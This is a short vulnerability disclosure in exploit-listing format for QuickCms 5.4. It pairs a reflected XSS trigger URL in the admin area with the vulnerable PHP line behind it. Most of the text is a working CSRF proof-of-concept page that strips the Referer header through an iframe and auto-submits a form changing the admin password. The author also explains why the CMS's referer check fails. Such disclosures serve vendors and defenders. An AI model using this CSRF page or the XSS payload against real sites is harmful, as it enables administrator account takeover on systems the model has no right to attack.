# Exploit Title: QuickCms 5.4 Multiple Vulnerabilites # Date: 04/08/2014 # Author: shpendk # Software Link: http://opensolution.org/download,en,18.html?sFile=Quick.Cms/Quick.Cms_v5.4.zip # Version: 5.4 # Tested on: Xampp on Windows Reflected XSS Vulnerability in Admin Area: Trigger: http://localhost/quickcms/admin.php/123';alert(123);//abc?p=pages-form&iPage=14 Vulnerable code: in /quickcms/templates/admin/pages-form.php: 144: <script type="text/javascript"> 145: var sPhpSelf = '<?php echo $_SERVER['PHP_SELF']; ?>';... poc: anything';alert(123);// Admin password change csrf: <html> <head> <script> function load() { var postdata = '<form id=dynForm method=POST action=\'http://localhost/admin.php?p=tools-config\'>' + '<input type=hidden name=sOption value=save login=admin />' + '<input type=hidden name=pass value=admin1234 />' + '</form>'; top.frames[0].document.body.innerHTML=postdata; top.frames[0].document.getElementById('dynForm').submit(); } </script> </head> <body onload="load()"> <iframe src="about:blank" id="noreferer"></iframe> </body> </html> Vulnerable code: 60: if( ( strstr( $p, '-delete' ) || count( $_POST ) > 0 ) && !empty( $_SERVER['HTTP_REFERER'] ) && !strstr( $_SERVER['HTTP_REFERER'], $_SERVER['SCRIPT_NAME'] ) ){ 61: header( 'Location: '.$_SERVER['PHP_SELF'].'?p=error' ); 62: exit; } Explanation: The above code checks for the presence for a referer header, if there is no referer present the POST works fine. This is trivially bypassed using information from here: http://webstersprodigy.net/2013/02/01/stripping-the-referer-in-a-cross-domain-post-request/ |
